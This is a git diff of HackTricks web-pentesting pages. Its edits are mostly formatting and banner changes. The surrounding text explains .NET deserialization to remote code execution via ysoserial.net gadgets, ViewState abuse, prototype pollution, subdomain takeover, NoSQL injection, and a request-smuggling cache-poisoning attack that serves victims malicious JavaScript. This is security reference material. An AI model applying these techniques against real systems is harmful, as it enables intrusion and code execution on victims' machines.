+Using the previous exploit there will be cases where the **object** is going to be **deserialized as** an _**ObjectDataProvider**_\*\* instance\*\* (for example in DotNetNuke vuln, using XmlSerializer, the object was deserialized using `GetType`). Then, will have **no knowledge of the object type that is wrapped** in the _ObjectDataProvider_ instance (`Process` for example). You can find more [information about the DotNetNuke vuln here](https://translate.google.com/translate?hl=en\&sl=auto\&tl=en\&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F\&sandbox=1).
This class allows to s**pecify the object types of the objects that are encapsulated** in a given instance. So, this class can be used to encapsulate a source object (_ObjectDataProvider_) into a new object type and provide the properties we need (_ObjectDataProvider.MethodName_ and _ObjectDataProvider.MethodParameters_).\
-This is very useful for cases as the one presented before, because we will be able to **wrap **_**ObjectDataProvider**_** inside an **_**ExpandedWrapper** _ instance and **when deserialized** this class will **create** the _**OjectDataProvider**_ object that will **execute** the **function** indicated in _**MethodName**_.
+This is very useful for cases as the one presented before, because we will be able to **wrap \_ObjectDataProvider**_\*\* inside an \*\*_**ExpandedWrapper** \_ instance and **when deserialized** this class will **create** the _**OjectDataProvider**_ object that will **execute** the **function** indicated in _**MethodName**_.
You can check this wrapper with the following code:
@@ -100,14 +95,13 @@ namespace ODPCustomSerialExample
}
}
}
-
```
-# Json.Net
+## Json.Net
In the [official web page](https://www.newtonsoft.com/json) it is indicated that this library allows to **Serialize and deserialize any .NET object with Json.NET's powerful JSON serializer**. So, if we could **deserialize the ObjectDataProvider gadget**, we could cause a **RCE** just deserializing an object.
-## Json.Net example
+### Json.Net example
First of all lets see an example on how to **serialize/deserialize** an object using this library:
@@ -154,7 +148,7 @@ namespace DeserializationTests
}
```
-## Abusing Json.Net
+### Abusing Json.Net
Using [ysoserial.net](https://github.com/pwntester/ysoserial.net) I crated the exploit:
@@ -210,22 +204,14 @@ namespace DeserializationTests
}
```
-
-
Support HackTricks and get benefits!
-- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-
-- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-
-- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-
-- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
-
-- **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
+* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
+* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
+* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
+* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
+* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
-
-
diff --git a/pentesting-web/deserialization/exploiting-__viewstate-parameter.md b/pentesting-web/deserialization/exploiting-__viewstate-parameter.md
index 713f32539..ac9fca384 100644
--- a/pentesting-web/deserialization/exploiting-__viewstate-parameter.md
+++ b/pentesting-web/deserialization/exploiting-__viewstate-parameter.md
@@ -32,7 +32,7 @@ The following properties or combination of properties apply to ViewState informa
## **Test Cases**
-![](<../../.gitbook/assets/image (309).png>)
+![](<../../.gitbook/assets/image (309) (2).png>)
### Test Case: 1 – EnableViewStateMac=false and viewStateEncryptionMode=false
diff --git a/pentesting-web/deserialization/nodejs-proto-prototype-pollution/README.md b/pentesting-web/deserialization/nodejs-proto-prototype-pollution/README.md
index 635a825c6..6b30afe6e 100644
--- a/pentesting-web/deserialization/nodejs-proto-prototype-pollution/README.md
+++ b/pentesting-web/deserialization/nodejs-proto-prototype-pollution/README.md
@@ -24,7 +24,7 @@ In Javascript, `Object`is a basic object, the template for all newly created obj
console.log(Object.create(null)); // prints an empty object
```
-![](<../../../.gitbook/assets/image (360) (1).png>)
+![](<../../../.gitbook/assets/image (360).png>)
Previously we learned that an Object in javascript is collection of keys and values, so it makes sense that a `null` object is just an empty dictionary: `{}`
@@ -54,11 +54,11 @@ var person1 = new person("Satoshi", 70);
One thing to note is that the prototype attribute can be changed/modified/deleted when executing the code. For example functions to the class can be dynamically added:
-![](<../../../.gitbook/assets/image (363) (1).png>)
+![](<../../../.gitbook/assets/image (363).png>)
Functions of the class can also be modified (like `toString` or `valueOf` the following cases):
-![](<../../../.gitbook/assets/image (364) (1).png>)
+![](<../../../.gitbook/assets/image (364).png>)
![](<../../../.gitbook/assets/image (365).png>)
diff --git a/pentesting-web/domain-subdomain-takeover.md b/pentesting-web/domain-subdomain-takeover.md
index afc04366f..2e826c64b 100644
--- a/pentesting-web/domain-subdomain-takeover.md
+++ b/pentesting-web/domain-subdomain-takeover.md
@@ -12,7 +12,7 @@
-
+
**Security Skills as a Service** platform bridges the current skill set gap by combining **global offensive security talent with smart automation**, providing real-time data you need to make informed decisions.
@@ -67,7 +67,7 @@ All of them vulnerable to subdomain takeover. All of them were big brands. Talki
Nevertheless, recent phishing campaigns host content on domains with long domain names that include name of the brand (see [Apple example](https://www.phishtank.com/target\_search.php?target\_id=183\&valid=y\&active=All\&Search=Search)). Having valid SSL certificate (more on that below), keyword in domain name and website which mimics the website of targeted brand, people tend to fall into these attacks. Think about chances with a legitimate subdomain of this brand.
-
+
**Security Skills as a Service** platform bridges the current skill set gap by combining **global offensive security talent with smart automation**, providing real-time data you need to make informed decisions.
@@ -159,7 +159,7 @@ Until next time!
[Patrik](https://twitter.com/0xpatrik)
-
+
**Security Skills as a Service** platform bridges the current skill set gap by combining **global offensive security talent with smart automation**, providing real-time data you need to make informed decisions.
diff --git a/pentesting-web/email-injections.md b/pentesting-web/email-injections.md
index 1671cf9ce..8dd4d6902 100644
--- a/pentesting-web/email-injections.md
+++ b/pentesting-web/email-injections.md
@@ -1,28 +1,22 @@
# Email Injections
-{% hint style="danger" %}
-![](<../.gitbook/assets/image (9) (1).png>)
+![](<../.gitbook/assets/image (9) (1) (2).png>)
\
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-{% endhint %}
Support HackTricks and get benefits!
-- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-
-- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-
-- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-
-- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
-
-- **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
+* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
+* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
+* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
+* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
+* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
@@ -105,24 +99,18 @@ Depending on the **origin of the sendmail** binary different options have been d
Support HackTricks and get benefits!
-- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-
-- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-
-- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-
-- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
-
-- **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
+* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
+* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
+* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
+* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
+* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
-{% hint style="danger" %}
-![](<../.gitbook/assets/image (9) (1).png>)
+![](<../.gitbook/assets/image (9) (1) (2).png>)
\
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-{% endhint %}
diff --git a/pentesting-web/http-request-smuggling/browser-http-request-smuggling.md b/pentesting-web/http-request-smuggling/browser-http-request-smuggling.md
index 92eebfeef..e91991f67 100644
--- a/pentesting-web/http-request-smuggling/browser-http-request-smuggling.md
+++ b/pentesting-web/http-request-smuggling/browser-http-request-smuggling.md
@@ -4,15 +4,11 @@
Support HackTricks and get benefits!
-- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-
-- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-
-- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-
-- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
-
-- **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
+* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
+* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
+* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
+* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
+* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
@@ -20,7 +16,7 @@
This vulnerability occurs when the **Content Length** (CL) header is being completely **ignored** by the **backend server**. Then, the back-end treats the **body** as the **start of the second request's method**. Ignoring the CL is equivalent to treating it as having a value of 0, so this is a CL.0 desync - a [known](https://i.blackhat.com/USA-20/Wednesday/us-20-Klein-HTTP-Request-Smuggling-In-2020-New-Variants-New-Defenses-And-New-Challenges.pdf) but lesser-explored attack class.
-![](<../../.gitbook/assets/image (3) (1).png>)
+![](<../../.gitbook/assets/image (3) (1) (2).png>)
The attack was possible because the back-end server simply **wasn't expecting a POST request**.
@@ -83,7 +79,7 @@ I've set the fetch mode **'no-cors'** to ensure Chrome **displays the connection
When you execute this, you should see **two requests** in the Network tab with the **same connection ID**, and the **second** one should trigger a **404**:
-![](<../../.gitbook/assets/image (158).png>)
+![](<../../.gitbook/assets/image (158) (2).png>)
If this works as expected, congratulations - you've found yourself a client-side desync!
@@ -143,7 +139,7 @@ fetch('https://redacted/', {
* The location in the **second** request is set to `/+CSCOE+/win.js` in order to **poison** the **cache** of that `.js` file.
* This request will be answered with the redirect of `/+webvpn+/` to the attackers domain with path`/+webvpn+/index.html`
* The **cache** of **`win.js`** will be **poisoned** with a **redirect** to the **attackers** page, but also the **victim** will **follow** the redirect as it was assigned in the `location` variable and will end in the attackers web page.
-* The attacker will then **redirect** the **victim** to `https://redacted/+CSCOE+/logon.html`. This page will import `/+CSCOE+/win.js`. Whose **cache is a redirect** to the **attackers** server, therefore, the attacker can **respond with a malicious JS**.
+* The attacker will then **redirect** the **victim** to `https://redacted/+CSCOE+/logon.html`. This page will import `/+CSCOE+/win.js`. Whose **cache is a redirect** to the **attackers** server, therefore, the attacker can **respond with a malicious JS**.
The **victim** will **access** the page of the **attacker** **twice**, the first one it **expects a HTML** that redirect the victim back to `https://redacted/+CSCOE+/logon.html` and the second one it **expects javascript code** (the payload). A polyglot can be used to serve both responses in just one:
@@ -281,7 +277,7 @@ If the vulnerable server (Apache or Varnish in this case) is in the back-end, a
![](<../../.gitbook/assets/image (3) (3).png>)
-In this case the attacker **won't receive the response timeout until he has send the body**. But if he knows the timeout this shouldn't be a problem.
+In this case the attacker **won't receive the response timeout until he has send the body**. But if he knows the timeout this shouldn't be a problem.
Amazon's Application Load Balancer (ALB) will **stream the data of the connection as needed**, but if it **receives** the **response** to the half request (the timeout) **before** receiving the **body**, it **won't send the body**, so a **Race Condition** must be exploited here:
@@ -335,14 +331,10 @@ tc qdisc add dev eth0 parent 1:3 handle 10: netem delay 61s
Support HackTricks and get benefits!
-- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-
-- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-
-- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-
-- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
-
-- **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
+* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
+* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
+* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
+* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
+* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
diff --git a/pentesting-web/nosql-injection.md b/pentesting-web/nosql-injection.md
index 4651c6dd2..4fe868116 100644
--- a/pentesting-web/nosql-injection.md
+++ b/pentesting-web/nosql-injection.md
@@ -1,28 +1,22 @@
# NoSQL injection
-{% hint style="danger" %}
-![](<../.gitbook/assets/image (9) (1).png>)
+![](<../.gitbook/assets/image (9) (1) (2).png>)
\
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-{% endhint %}
Support HackTricks and get benefits!
-- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-
-- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-
-- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-
-- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
-
-- **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
+* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
+* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
+* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
+* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
+* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
@@ -120,15 +114,13 @@ Using the **$func** operator of the [MongoLite](https://github.com/agentejo/cock
![](<../.gitbook/assets/image (468).png>)
-{% hint style="danger" %}
-![](<../.gitbook/assets/image (9) (1).png>)
+![](<../.gitbook/assets/image (9) (1) (2).png>)
\
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-{% endhint %}
## Blind NoSQL
@@ -259,24 +251,18 @@ for u in get_usernames():
Support HackTricks and get benefits!
-- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-
-- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-
-- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-
-- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
-
-- **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
+* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
+* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
+* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
+* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
+* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
-{% hint style="danger" %}
-![](<../.gitbook/assets/image (9) (1).png>)
+![](<../.gitbook/assets/image (9) (1) (2).png>)
\
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-{% endhint %}
diff --git a/pentesting-web/race-condition.md b/pentesting-web/race-condition.md
index 05d306e81..2319d02fd 100644
--- a/pentesting-web/race-condition.md
+++ b/pentesting-web/race-condition.md
@@ -1,28 +1,22 @@
# Race Condition
-{% hint style="danger" %}
-![](<../.gitbook/assets/image (9) (1).png>)
+![](<../.gitbook/assets/image (9) (1) (2).png>)
\
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-{% endhint %}
Support HackTricks and get benefits!
-- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-
-- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-
-- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-
-- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
-
-- **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
+* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
+* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
+* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
+* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
+* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
@@ -112,24 +106,18 @@ Once you have **obtained a valid RT** you could try to **abuse it to generate se
Support HackTricks and get benefits!
-- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-
-- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-
-- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-
-- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
-
-- **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
+* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
+* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
+* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
+* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
+* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
-{% hint style="danger" %}
-![](<../.gitbook/assets/image (9) (1).png>)
+![](<../.gitbook/assets/image (9) (1) (2).png>)
\
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-{% endhint %}
diff --git a/pentesting-web/rate-limit-bypass.md b/pentesting-web/rate-limit-bypass.md
index d8d2b0eac..78388a796 100644
--- a/pentesting-web/rate-limit-bypass.md
+++ b/pentesting-web/rate-limit-bypass.md
@@ -1,28 +1,22 @@
# Rate Limit Bypass
-{% hint style="danger" %}
-![](<../.gitbook/assets/image (9) (1).png>)
+![](<../.gitbook/assets/image (9) (1) (2).png>)
\
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-{% endhint %}
Support HackTricks and get benefits!
-- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-
-- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-
